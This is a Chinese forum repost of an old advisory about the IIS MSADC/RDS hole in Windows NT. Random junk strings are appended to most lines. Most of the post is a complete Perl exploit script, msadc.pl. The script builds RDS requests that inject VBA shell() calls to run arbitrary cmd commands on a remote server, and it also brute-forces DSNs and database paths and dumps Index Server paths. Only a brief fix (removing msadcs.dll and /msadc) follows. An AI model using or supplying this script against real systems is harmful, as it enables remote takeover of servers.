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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 9- )qZ  
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涉及程序: 1oY^]OD]W  
Microsoft NT server HW[L [&/  
a.kbov(  
描述: &ab|2*3?X  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 +%#8k9Y  
jRj=Awy  
详细: X6@wkrf-  
如果你没有时间读详细内容的话,就删除: JUt7En;XE  
c:\Program Files\Common Files\System\Msadc\msadcs.dll M+Uyb7  
有关的安全问题就没有了。 Mi 0sC24b|  
K-Mc6  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 SvuTc!$?  
63&^BW  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ,YLF+^w-  
关于利用ODBC远程漏洞的描述,请参看: P+(i^=S  
^[q /Mw  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Xs$Ufi  
j8$Zv%Ca%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 (03pJV&K  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8]"(!i_;)  
^&[+H8$  
这里不再论述。 ")UwkF  
#h'@5 l  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: :td ~g;w  
" ;NRzY  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -$-8W  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ~~qWI>. 4  
WeJ@x L  
-Zc![cAlO  
#将下面这段保存为txt文件,然后: "perl -x 文件名" \caH pof  
rT6?!$"%.  
#!perl MDO$m g  
# ^v ni&sJ  
# MSADC/RDS 'usage' (aka exploit) script wEEn?  
# 0^l%j8/  
# by rain.forest.puppy L^0v\  
# pGGmA;TC1  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me *yaw$oB  
# beta test and find errors! *3+-W  
v#oi0-9o[  
use Socket; use Getopt::Std; 3S~(:#|  
getopts("e:vd:h:XR", \%args); 9lzQ\}  
q{' ~+Nq  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; $dg9z}D  
c:hK$C)T  
if (!defined $args{h} && !defined $args{R}) { Gt-UJ-RR y  
print qq~ $:bih4 @>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3Qn!y\#  
-h <host> = host you want to scan (ip or domain) mY-hN|  
-d <seconds> = delay between calls, default 1 second eph)=F$  
-X = dump Index Server path table, if available 1|| nR4yK  
-v = verbose vF={9G  
-e = external dictionary file for step 5 "8<K'zeS8  
pbBoy+.>  
Or a -R will resume a command session {|<"C?  
T3,1m=S  
~; exit;} lP _db&  
7&%^>PU7  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; :8f[|XR4\N  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} uofr8oL~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0!GAk   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Dd $qQ  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} b>=_*nw9  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ~^US/"  
N|Cs=-+  
if (!defined $args{R}){ $ret = &has_msadc; WlwY <)  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 5W? PCOh\  
-1%OlKC  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Lxe^v/LsT  
. "cmd /c "; !!,0'c  
$in=<STDIN>; chomp $in; OSDy'@   
$command="cmd /c " . $in ; \=e8%.#@J  
:1wrVU-?h  
if (defined $args{R}) {&load; exit;} ;y>a nE}n{  
ql{_%x?  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; L8$1K&!  
&try_btcustmr; 1y"3  
@4GA^h  
print "\nStep 2: Trying to make our own DSN..."; 2W<n5o   
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; <z)m%*lvU  
g.DLfwI|  
print "\nStep 3: Trying known DSNs..."; vfc[p ^  
&known_dsn; DtxE@,  
)P Jw+5  
print "\nStep 4: Trying known .mdbs..."; |\9TvN^$`  
&known_mdb; t;q7t!sC]  
nvq3*  
if (defined $args{e}){ X` r* ob  
print "\nStep 5: Trying dictionary of DSN names..."; :}}%#/nd  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } iz^qR={bW  
|(R5e  
print "Sorry Charley...maybe next time?\n"; Zj9c9  
exit; d IB }_L  
x~DLW1I  
############################################################################## C"V%# K  
qYB~VE03  
sub sendraw { # ripped and modded from whisker Nh!_l  
sleep($delay); # it's a DoS on the server! At least on mine... =t0tK}Y+4  
my ($pstr)=@_; 7(k^a)~PL  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 4`v!Z#e/aX  
die("Socket problems\n"); LDj<?'  
if(connect(S,pack "SnA4x8",2,80,$target)){ oOU1{[  
select(S); $|=1; hlbvt-C?}"  
print $pstr; my @in=<S>; WrGK\Vw[  
select(STDOUT); close(S); TpfZ>d2  
return @in; Ty4S~ClO#'  
} else { die("Can't connect...\n"); }} 5]Da{Wmgs  
.IrNa>J~  
############################################################################## 4vZ4/#(x  
#?O &  
sub make_header { # make the HTTP request 9(_{`2R8  
my $msadc=<<EOT *|:Q%xr-  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 7L(e h7  
User-Agent: ACTIVEDATA eny/ fm  
Host: $ip Ve 3 ;  
Content-Length: $clen B;#J"6w  
Connection: Keep-Alive @4+#Xd7"  
ixfdO\nU  
ADCClientVersion:01.06 Y}G_Z#-!  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~f>2U]F>5  
-yH,5vD  
--!ADM!ROX!YOUR!WORLD! 3c'#6virz  
Content-Type: application/x-varg 8 ;gXg  
Content-Length: $reqlen lx0 ~>K]  
B{6<;u)[  
EOT Q(7ob}+jQ  
; $msadc=~s/\n/\r\n/g; ~qVz)<  
return $msadc;} 2?7(A  
M!m?#xz'c  
############################################################################## t;qP']2  
U]6&b  
sub make_req { # make the RDS request zd %rs~*c  
my ($switch, $p1, $p2)=@_; P.\nLE J=  
my $req=""; my $t1, $t2, $query, $dsn; P7 yq^|  
X JGB)3QI  
if ($switch==1){ # this is the btcustmr.mdb query } (FPV*mS  
$query="Select * from Customers where City=" . make_shell(); r`'y?Bra;  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ub:ly0;t  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} D)$8 W[  
aE VsU|  
elsif ($switch==2){ # this is general make table query <O~WB  
$query="create table AZZ (B int, C varchar(10))"; \FmKJ\  
$dsn="$p1";} ^c}J,tZ]  
b0<o  
elsif ($switch==3){ # this is general exploit table query VU.@R,  
$query="select * from AZZ where C=" . make_shell(); @J 'YV{]  
$dsn="$p1";} +=$  
Fzq41jiS  
elsif ($switch==4){ # attempt to hork file info from index server "eAy^,  
$query="select path from scope()"; 5N7H{vT_  
$dsn="Provider=MSIDXS;";} D/(CU#i"  
*#U+qgA;`  
elsif ($switch==5){ # bad query b{M7w  
$query="select"; n`7f"'/:  
$dsn="$p1";} N#xG3zZl|N  
^_+XDO  
$t1= make_unicode($query); B}?IEpYp  
$t2= make_unicode($dsn); NaUr!s  
$req = "\x02\x00\x03\x00"; <X7\z  
$req.= "\x08\x00" . pack ("S1", length($t1)); d3Di/Iej   
$req.= "\x00\x00" . $t1 ; )U t5+-UK  
$req.= "\x08\x00" . pack ("S1", length($t2)); N5U)*U'-u  
$req.= "\x00\x00" . $t2 ; /1w2ehE<  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :\ QUs}  
return $req;} 1QqHF$S  
cW8\d  
############################################################################## ,Ds.x@p  
Z=S>0|`R  
sub make_shell { # this makes the shell() statement F _3:bX  
return "'|shell(\"$command\")|'";} d' >>E  
gN6rp(?y  
############################################################################## X"MU3]  
->{d`-}m'  
sub make_unicode { # quick little function to convert to unicode <W)u{KS#TY  
my ($in)=@_; my $out; A=5epsB  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } q%YV$$c   
return $out;} R,2P3lv1v@  
nR;D#"p%  
############################################################################## Ddju~510  
25y6a|`  
sub rdo_success { # checks for RDO return success (this is kludge) Ucw yxX I  
my (@in) = @_; my $base=content_start(@in); _Xcn N:Rt  
if($in[$base]=~/multipart\/mixed/){ `YBkF  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Y4.Eq+$gh  
return 0;} GwU?wIIj^  
9O*_L:4o  
############################################################################## H].y w9  
$(pF;_W  
sub make_dsn { # this makes a DSN for us ; 0v>Rfa  
my @drives=("c","d","e","f"); m} ?rJ  
print "\nMaking DSN: "; ` Nh"  
foreach $drive (@drives) { %qf  V+^  
print "$drive: "; ef!XV7 P  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ~X(UcZ2  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" , "0)6=AE  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); >g ll-&;t  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; nz.{P@[Qk  
return 0 if $2 eq "404"; # not found/doesn't exist ^D^JzEy'?C  
if($2 eq "200") { revF;l6->C  
foreach $line (@results) { OFkNl}D  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} YcX/{L[9o  
} return 0;} -Y 9SngxM  
V%0I%\0Y  
############################################################################## IeX^4 rc(  
G9P!_72  
sub verify_exists { (h-*_a}F4  
my ($page)=@_; ,Tagj`@bHc  
my @results=sendraw("GET $page HTTP/1.0\n\n"); oB1>x^  
return $results[0];} gR^>3n'  
~ (On|h  
############################################################################## LjFqZrH  
t`'iU$:1f  
sub try_btcustmr { 6R;3%-D  
my @drives=("c","d","e","f"); q"qo.TPh|$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); E\ 8  
b,TiMf9},h  
foreach $dir (@dirs) { 1SIq[1  
print "$dir -> "; # fun status so you can see progress r,P1^uHx  
foreach $drive (@drives) { LA3<=R]  
print "$drive: "; # ditto )D-c]+yt  
$reqlen=length( make_req(1,$drive,$dir) ) - 28;  _?vo U  
$reqlenlen=length( "$reqlen" ); J T# d(Y  
$clen= 206 + $reqlenlen + $reqlen; &hIRd,1#  
%6%<?jZ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); W/ay.I  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ^rl"rEA  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} g?v\!/~(u  
Lw7=+h)  
############################################################################## V! |qYM.  
)}%O>%  
sub odbc_error { wXjFLg!g?  
my (@in)=@_; my $base; s pLZ2]A  
my $base = content_start(@in); |WryBzZ>on  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this -~" :f8  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1_'? JfY-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jVgFZ,  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; IxR?'  
return $in[$base+4].$in[$base+5].$in[$base+6];} VQI(Vp|  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; =VLS/\A  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . {Hmo1|_S|  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} yqXH:757~  
f ).1]~  
############################################################################## )py{\r9X  
[L $9p@I  
sub verbose { h4pTq[4*  
my ($in)=@_; zjL.Bhiud  
return if !$verbose; ^ &/G|  
print STDOUT "\n$in\n";} SHb(O<6  
I:V0Xxz5t  
############################################################################## ]&~]#vB#  
>evS} O6  
sub save { l%R50aL  
my ($p1, $p2, $p3, $p4)=@_; R =Ws#'  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Nr<`Z  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; @.$Xv>Jt$  
close OUT;} { x0t  
6C4'BCYW(  
############################################################################## 8;Fn7k_Uf  
V(MFna)  
sub load { jeyLL<  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; l=N2lHU  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); raVA?|'g~  
@p=<IN>; close(IN); D0(xNhmKz  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ;;$#)b  
$target= inet_aton($ip) || die("inet_aton problems"); C${ S^v  
print "Resuming to $ip ..."; ajRSMcKb7i  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; %n%xR%|  
if($p[1]==1) { PfS:AI y  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; tj]9~eJ-  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ZlYPoOq  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Cd79 tu|  
if (rdo_success(@results)){print "Success!\n";} ;Yfv!\^|  
else { print "failed\n"; verbose(odbc_error(@results));}} -7uwOr  
elsif ($p[1]==3){ [OTJVpC  
if(run_query("$p[3]")){ b*fgv9Kh'  
print "Success!\n";} else { print "failed\n"; }} lDC$F N  
elsif ($p[1]==4){ R`";Z$~{  
if(run_query($drvst . "$p[3]")){ ;R=.iOn  
print "Success!\n"; } else { print "failed\n"; }} BG^C9*ZuP  
exit;} "1q>At  
$P7iRM]  
############################################################################## j6~nE'sQ  
:M{Y,~cP  
sub create_table { qzw'zV  
my ($in)=@_; !J*,)kRN  
$reqlen=length( make_req(2,$in,"") ) - 28; {HC@u{K -  
$reqlenlen=length( "$reqlen" ); %u^ JpC{E  
$clen= 206 + $reqlenlen + $reqlen; -5>-%13  
my @results=sendraw(make_header() . make_req(2,$in,"")); wfL-oi'5  
return 1 if rdo_success(@results); 8E&XbqP+  
my $temp= odbc_error(@results); verbose($temp); u JR%0E7!  
return 1 if $temp=~/Table 'AZZ' already exists/; U`Jy!x2m  
return 0;} thO ~=RB  
Ko&hj XHx  
############################################################################## .I VlEG0  
3bqC\i^[\m  
sub known_dsn { N!Qg;(  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go WD;Y~|  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", z|7zj/+g  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", < _$%@4 L  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); bk<\ujH  
Sx:Ur>?hd5  
foreach $dSn (@dsns) { t#nn@Yf  
print "."; LN l#h  
next if (!is_access("DSN=$dSn")); 3QSZ ZJ  
if(create_table("DSN=$dSn")){ 2>-S-;i  
print "$dSn successful\n"; o47r<>t  
if(run_query("DSN=$dSn")){ RO0>I8c1c  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $wYtyN[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {Y}dv`G#Iu  
P+t#4J  
############################################################################## V>64/  
]%uZ\Q;9p  
sub is_access { ,<<4*  
my ($in)=@_; p5O",3,A4  
$reqlen=length( make_req(5,$in,"") ) - 28; bsxTqJ  
$reqlenlen=length( "$reqlen" ); 4ww]9J  
$clen= 206 + $reqlenlen + $reqlen; )5%C3/Dl!  
my @results=sendraw(make_header() . make_req(5,$in,"")); {ng"=3+n  
my $temp= odbc_error(@results); 4`Nt{  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); vvB(r!  
return 0;} ;TcvA  
/sR%]q |L  
############################################################################## v{i7h|e  
=.|J!x  
sub run_query {  $rXh0g  
my ($in)=@_; r[.>P$U  
$reqlen=length( make_req(3,$in,"") ) - 28; obK*rdg ,  
$reqlenlen=length( "$reqlen" ); <]C$xp<2  
$clen= 206 + $reqlenlen + $reqlen; Nf3.\eR  
my @results=sendraw(make_header() . make_req(3,$in,"")); Bb&^ {7  
return 1 if rdo_success(@results); #QvMVy  
my $temp= odbc_error(@results); verbose($temp); (vR 9H(#  
return 0;} a</D_66  
?Y:x[pOe  
############################################################################## \^1+U JU  
L.xZ_ 6  
sub known_mdb { _<$>*i R  
my @drives=("c","d","e","f","g"); Cp^@zw*/  
my @dirs=("winnt","winnt35","winnt351","win","windows"); d"G+8}.4  
my $dir, $drive, $mdb; ( nW67YTr  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; h0?2j)X_  
jNwjK0?  
# this is sparse, because I don't know of many &X9Z W$C  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e98lhu"|H  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", %or,{mmiM:  
"\\system32\\certmdb.mdb", ,1q_pep~?%  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% <";,GaZQ  
t3Z_Dp~\  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", FZd.L6q  
"\\cfusion\\cfapps\\forums\\forums_.mdb", SUWD]k>PH  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", , "jbq~  
"\\cfusion\\cfapps\\security\\realm_.mdb", pqvOJ#?Q}=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", $@\mpwANl  
"\\cfusion\\database\\cfexamples.mdb", yix'rA-T  
"\\cfusion\\database\\cfsnippets.mdb", : "6q,W  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", |W$DVRA  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", OQ :dJe6  
"\\cfusion\\brighttiger\\database\\cleam.mdb", oRN-xng  
"\\cfusion\\database\\smpolicy.mdb", %CZ-r"A  
"\\cfusion\\database\cypress.mdb", }}QTHR  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", s#h8%['  
"\\website\\cgi-win\\dbsample.mdb", Q|}a R:4  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |CgnCUv+  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ]U[X1W+@  
); #these are just JJV0R}z?TV  
foreach $drive (@drives) { o sbHs$C  
foreach $dir (@dirs){ z s Qo$p  
foreach $mdb (@sysmdbs) { i$^)UZJ&0  
print "."; [=uo1%  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ DfJ2PX}q  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; qLncn}oNM  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %zC[KE*~  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; S gMrce<;  
} else { print "Something's borked. Use verbose next time\n"; }}}}} HQ9f ,<  
F Kc;W  
foreach $drive (@drives) { E}CiQUx  
foreach $mdb (@mdbs) { bLz*A-  
print "."; kH*Pn'  
if(create_table($drv . $drive . $dir . $mdb)){ 3`hUo5K  
print "\n" . $drive . $dir . $mdb . " successful\n"; >idBS  
if(run_query($drv . $drive . $dir . $mdb)){ QYXx:nIrg  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {v aaFs  
} else { print "Something's borked. Use verbose next time\n"; }}}} ,~ ?'Ef80  
} O <9~Kgd8h  
+c:3o*  
############################################################################## 6 y"-I !&  
nU+tM~C%a  
sub hork_idx { g}&hl"j  
print "\nAttempting to dump Index Server tables...\n"; k.h`Cji@  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; W-RqN!snJ8  
$reqlen=length( make_req(4,"","") ) - 28; 8pLBt:  
$reqlenlen=length( "$reqlen" ); IWVlrGyM  
$clen= 206 + $reqlenlen + $reqlen; t<uYM  
my @results=sendraw2(make_header() . make_req(4,"","")); fBBa4"OK=  
if (rdo_success(@results)){ 8$xPex~2  
my $max=@results; my $c; my %d; ci,+Bjc  
for($c=19; $c<$max; $c++){ fkfZ>D^1  
$results[$c]=~s/\x00//g; ?wMHS4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; K*K1(_x=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Vi! Q  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Xog/O i  
$d{"$1$2"}="";} Jsg I'  
foreach $c (keys %d){ print "$c\n"; } 8B!aO/Km  
} else {print "Index server doesn't seem to be installed.\n"; }} :/YO ni1h  
JnD {J`:  
############################################################################## &a> lWE  
y$ Zj?Dd#  
sub dsn_dict { > 1L=,M  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); PZ:u_*Vu`  
while(<IN>){ I^*'.z!4Q  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; P`$12<\O1  
next if (!is_access("DSN=$dSn")); @ \.;b9  
if(create_table("DSN=$dSn")){ ^s7,_!.Pq  
print "$dSn successful\n"; !2Dy_U=  
if(run_query("DSN=$dSn")){ |ifHSc.j<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { sfp,Lq`  
print "Something's borked. Use verbose next time\n";}}} 9z m|Lbj  
print "\n"; close(IN);} m(D]qYwh  
k0?ZYeHC  
############################################################################## Ue5O9;y]u  
U IJx*  
sub sendraw2 { # ripped and modded from whisker x9>\(-uU  
sleep($delay); # it's a DoS on the server! At least on mine... ,lY aA5&I  
my ($pstr)=@_; Q+|{Bs)6i1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || k>4qkigjc  
die("Socket problems\n"); OQ/<-+<w  
if(connect(S,pack "SnA4x8",2,80,$target)){ ~+D*:7Y_  
print "Connected. Getting data"; E ?2O(  
open(OUT,">raw.out"); my @in; rt]S\  
select(S); $|=1; print $pstr; oqkVYlE  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} *#>F.#9  
close(OUT); select(STDOUT); close(S); return @in; jdut4 nFc  
} else { die("Can't connect...\n"); }} FD7H@L5  
}pNX@C#De  
##############################################################################  R)Q 4  
L/}iy}  
sub content_start { # this will take in the server headers xIbMs4'iEx  
my (@in)=@_; my $c; k@!r#`j3  
for ($c=1;$c<500;$c++) { x  FJg  
if($in[$c] =~/^\x0d\x0a/){ \jW)Xy  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } `T*U]/zQ  
else { return $c+1; }}} hi{%pi&!T  
return -1;} # it should never get here actually l1_X(Z._V  
T~4mQuYi  
############################################################################## yT /EHmJ  
3EFD%9n  
sub funky { iCG`3(xL  
my (@in)=@_; my $error=odbc_error(@in); =?@Q -(bp  
if($error=~/ADO could not find the specified provider/){ khd5 Cf[   
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 'aJgLws*w  
exit;} Lrz3   
if($error=~/A Handler is required/){ BWPP5X9  
print "\nServer has custom handler filters (they most likely are patched)\n"; Lf}8qB#Y  
exit;} O0l^*nZ46t  
if($error=~/specified Handler has denied Access/){ e&Y0}oY  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'E;W  
exit;}} j28_Hh T  
8@K^|xeQ  
############################################################################## q?{}3 dPC  
6o3T;h  
sub has_msadc { Aw ^yH+ae  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Rz <OF^Iy  
my $base=content_start(@results); +}7fg82)  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); n"{X!(RIcx  
return 0;} kka"C]!  
<zfe }0  
######################## >O{7/)gS^  
{5:Zl<0  
I %_MV  
解决方案: =6%|?5G  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll |g)FA_#|<  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 <HoAj"xf  
NGzgLSm\  
拿出来充数 哈哈
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